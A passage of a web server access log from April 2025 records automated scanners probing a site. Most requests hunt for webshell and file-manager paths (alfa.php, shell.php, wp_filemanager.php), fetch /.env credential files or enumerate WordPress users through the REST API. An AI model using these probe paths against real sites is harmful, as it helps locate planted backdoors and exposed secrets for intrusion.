/modules/mod_webshell/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:18 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:21 -0400] "GET /cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:26 -0400] "GET /dashboard.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:32 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:37 -0400] "GET /wp-admin/images/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:41 -0400] "GET /wp-includes/js/tinymce/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:43 -0400] "GET /includes/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:46 -0400] "GET /baja.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:50 -0400] "GET /upgrade.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:53 -0400] "GET /al.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:21:57 -0400] "GET /wp-includes/js/tinymce/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:01 -0400] "GET /wp-includes/css/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:05 -0400] "GET /wp-content/plugins/fix/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:09 -0400] "GET /cgi-bin/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:13 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:17 -0400] "GET /css/dist/block-directory/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:19 -0400] "GET /wp/img/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:23 -0400] "GET /.well-known/acme-challenge/install.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:26 -0400] "GET /wp-content/uploads/2023/gncfqygn.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:29 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:32 -0400] "GET /css/cloud.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:35 -0400] "GET /wp-content/ccx/index.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:41 -0400] "GET /wp-includes/js/tinymce/plugins/compat3x/css/about.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:48 -0400] "GET /wp-content/uploads/2023/05/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:53 -0400] "GET /wp-content/plugins/seoo/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:22:59 -0400] "GET /class_api.php HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:23:04 -0400] "GET /assets/vendor/bootstrap/css/ HTTP/1.1" 301 795 "-" "-" 52.226.20.63 - - [07/Apr/2025:13:23:08 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 172.234.248.66 - - [07/Apr/2025:14:07:04 -0400] "GET / HTTP/1.1" 301 795 "-" "-" 140.245.117.117 - - [07/Apr/2025:14:11:49 -0400] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 216.244.66.236 - - [07/Apr/2025:14:26:24 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 199.244.88.220 - - [07/Apr/2025:14:35:26 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 216.244.66.236 - - [07/Apr/2025:15:13:19 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 134.209.103.14 - - [07/Apr/2025:16:05:16 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36" 16.16.74.242 - - [07/Apr/2025:16:28:38 -0400] "HEAD /?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15" 16.16.74.242 - - [07/Apr/2025:16:28:38 -0400] "HEAD /wordpress/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36" 16.16.74.242 - - [07/Apr/2025:16:28:39 -0400] "HEAD /wp/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Safari/605.1.15" 16.16.74.242 - - [07/Apr/2025:16:28:39 -0400] "HEAD /blog/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 16.16.74.242 - - [07/Apr/2025:16:28:40 -0400] "HEAD /test/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Linux; Android 13; SM-G991B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Mobile Safari/537.36" 16.16.74.242 - - [07/Apr/2025:16:28:40 -0400] "HEAD /test1/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:114.0) Gecko/20100101 Firefox/114.0" 16.16.74.242 - - [07/Apr/2025:16:28:41 -0400] "HEAD /WP/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1" 16.16.74.242 - - [07/Apr/2025:16:28:42 -0400] "HEAD /2025/?rest_route=/wp/v2/users HTTP/1.1" 301 0 "https://www.google.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64" 198.235.24.76 - - [07/Apr/2025:16:29:58 -0400] "GET / HTTP/1.1" 301 795 "-" "Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com" 2.59.50.155 - - [07/Apr/2025:17:24:46 -0400] "GET /wp-json/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" 43.155.140.157 - - [07/Apr/2025:18:18:59 -0400] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 216.244.66.236 - - [07/Apr/2025:18:25:11 -0400] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 172.172.103.135 - - [07/Apr/2025:18:36:48 -0400] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:53 -0400] "HEAD / HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:54 -0400] "HEAD /wp HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:55 -0400] "HEAD /bc HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:56 -0400] "HEAD /bk HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:57 -0400] "HEAD /backup HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:58 -0400] "HEAD /old HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:36:59 -0400] "HEAD /new HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:37:00 -0400] "HEAD /main HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 172.172.103.135 - - [07/Apr/2025:18:37:01 -0400] "HEAD /home HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 185.194.178.81 - - [07/Apr/2025:18:44:45 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 185.194.178.98 - - [07/Apr/2025:18:44:46 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 185.194.178.78 - - [07/Apr/2025:18:44:51 -0400] "GET /.env HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0" 172.176.69.211 - - [07/Apr/2025:19:28:46 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:28:52 -0400] "GET /wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:28:54 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:28:56 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:28:58 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:28:59 -0400] "GET /WordPress/wp-admin/includes/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:00 -0400] "GET /default.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:01 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:01 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:02 -0400] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:02 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:03 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:05 -0400] "GET /libraries/legacy/info.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:05 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:06 -0400] "GET /wp-admin/network/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:07 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:08 -0400] "GET /wp-mail.php/wp-includes/ID3/rk2.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:08 -0400] "GET /assets/images/28c5400b0b.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:09 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:09 -0400] "GET /wp-mail.php/wp-includes/ID3/.info.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:10 -0400] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:10 -0400] "GET /wp-includes/js/tinymce/skins/lightgray/img/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:11 -0400] "GET /wp-includes/block-supports/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:12 -0400] "GET /wp-content/uploads/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:12 -0400] "GET /wp-admin/images/install.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:13 -0400] "GET /.well-known/link.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:13 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:14 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:15 -0400] "GET /wp-includes/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:15 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:16 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:17 -0400] "GET /Assets/item.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:17 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:18 -0400] "GET /th/plugins/phpThumb/404.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:19 -0400] "GET /wp-includes/css/dist/preferences/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:19 -0400] "GET /files/log.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:20 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:21 -0400] "GET /x.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:21 -0400] "GET /wp-includes/assets/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:22 -0400] "GET /wp-includes/block-patterns/vuln.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:23 -0400] "GET /wp-includes/rest-api/fields/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:24 -0400] "GET /wp-includes/images/media/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:25 -0400] "GET /wp-content/uploads/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:26 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:27 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:27 -0400] "GET /admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:28 -0400] "GET /.well-known/pki-validation/parx.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:28 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:29 -0400] "GET /12wudscz.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:29 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:30 -0400] "GET /wp-includes/Text/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:32 -0400] "GET /wp-content/plugins/background-image-cropper/plugins.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:32 -0400] "GET /classwithtostring.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:33 -0400] "GET /wp-includes/Text/Diff/Renderer/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:34 -0400] "GET /wp-admin/images/users.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:35 -0400] "GET /wp-includes/rest-api/endpoints/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:36 -0400] "GET /wp-includes/random_compat/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:37 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:38 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:39 -0400] "GET /.well-known/pki-validation/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:39 -0400] "GET /wp-admin/user/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:41 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:44 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:46 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:47 -0400] "GET /wp-admin/includes/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:49 -0400] "GET /wp-includes/SimplePie/Cache/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:51 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:52 -0400] "GET /wp-includes/js/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:53 -0400] "GET /wp-mail.php/wp-includes/ID3/taptap-null.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:54 -0400] "GET /.well-known/as.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:55 -0400] "GET /wp-includes/customize/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:57 -0400] "GET /.well-known/lv.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:58 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:58 -0400] "GET /wp-content/plugins/duplicator/assets/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:29:59 -0400] "GET /wp-admin/network/upfile.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:00 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:00 -0400] "GET /wp-includes/sitemaps/providers/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:01 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:02 -0400] "GET /images/cjfuns.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:03 -0400] "GET /wp-includes/sodium_compat/src/content.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:05 -0400] "GET /wp-includes/rest-api/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:07 -0400] "GET /wp-includes/js/crop/zmFM.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:09 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:10 -0400] "GET /wp-includes/js/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:12 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:13 -0400] "GET /wp-admin/js/widgets/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:14 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:17 -0400] "GET /wp-includes/Text/wp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:18 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:19 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:20 -0400] "GET /wp-admin/network/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:21 -0400] "GET /wp-includes/images/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:23 -0400] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:24 -0400] "GET /wp-includes/sodium_compat/src/Core32/Curve25519/Ge/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:25 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:26 -0400] "GET /css.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:27 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:28 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:29 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:29 -0400] "GET /admin/fckeditor/editor/filemanager/updates.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:30 -0400] "GET /wp-content/uploads/file.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:31 -0400] "GET /wp-includes/Requests/Response/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:32 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:34 -0400] "GET /wp-includes/SimplePie/Cache/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:34 -0400] "GET /wp-includes/sodium_compat/src/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:35 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:36 -0400] "GET /wp-mail.php/wp-includes/ID3/wp-mail.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:37 -0400] "GET /wp-content/plugins/revslider/public/assets/assets/sources/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:37 -0400] "GET /wp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:38 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:39 -0400] "GET /css/item.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:43 -0400] "GET /wp-content/uploads/2020/admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:44 -0400] "GET /wp-admin/includes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:45 -0400] "GET /assets/images/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:45 -0400] "GET /css/xp.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:46 -0400] "GET /wp-includes/assets/themes.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:46 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:47 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:48 -0400] "GET /wp-includes/style-engine/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:48 -0400] "GET /wp-includes/SimplePie/Content/Type/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:49 -0400] "GET /js/style.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:50 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:50 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:51 -0400] "GET /wp-includes/js/tinymce/skins/wordpress/images/about.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:52 -0400] "GET /wp-includes/SimplePie/Content/Type/index.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:53 -0400] "GET /.well-known/dropdown.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:54 -0400] "GET /wp-includes/rest-api/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:54 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:55 -0400] "GET /edit.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:55 -0400] "GET /wp-content/themes/travelscape/json.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:57 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:58 -0400] "GET /wp-content/upgrade/shell.php HTTP/1.1" 301 795 "-" "-" 172.176.69.211 - - [07/Apr/2025:19:30:59 -0400] 